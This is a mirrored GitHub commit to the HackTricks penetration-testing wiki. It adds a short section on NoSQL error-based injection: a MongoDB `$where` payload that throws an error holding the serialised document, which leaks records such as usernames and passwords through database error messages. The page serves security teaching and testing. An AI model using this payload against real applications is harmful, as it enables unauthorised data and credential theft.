mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge pull request #1043 from HackTricks-wiki/update_NoSQL_Error-Based_Injection_20250708_183756
Add content: NoSQL Error-Based Injection
This commit is contained in:
commit
ae6e6d975d
@ -126,6 +126,14 @@ It's possible to use [**$lookup**](https://www.mongodb.com/docs/manual/reference
|
||||
]
|
||||
```
|
||||
|
||||
### Error-Based Injection
|
||||
|
||||
Inject `throw new Error(JSON.stringify(this))` in a `$where` clause to exfiltrate full documents via server-side JavaScript errors (requires application to leak database errors). Example:
|
||||
|
||||
```json
|
||||
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
|
||||
```
|
||||
|
||||
## MongoDB Payloads
|
||||
|
||||
List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
|
||||
@ -253,6 +261,7 @@ for u in get_usernames(""):
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
|
||||
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
|
||||
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
|
||||
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user